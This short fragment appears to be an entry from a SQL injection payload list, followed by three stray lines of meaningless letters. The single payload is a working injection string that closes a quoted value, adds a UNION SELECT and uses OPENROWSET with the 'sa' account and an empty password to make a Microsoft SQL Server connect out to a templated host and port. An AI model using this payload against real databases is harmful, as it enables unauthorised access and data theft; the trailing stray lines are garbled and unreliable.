"vuln' union select * from openrowset('SQLoledb','uid=sa;pwd=;Network=DBMSSOCN;Address={host},{port};timeout=5', 'select * from table') --"
ee
e
ee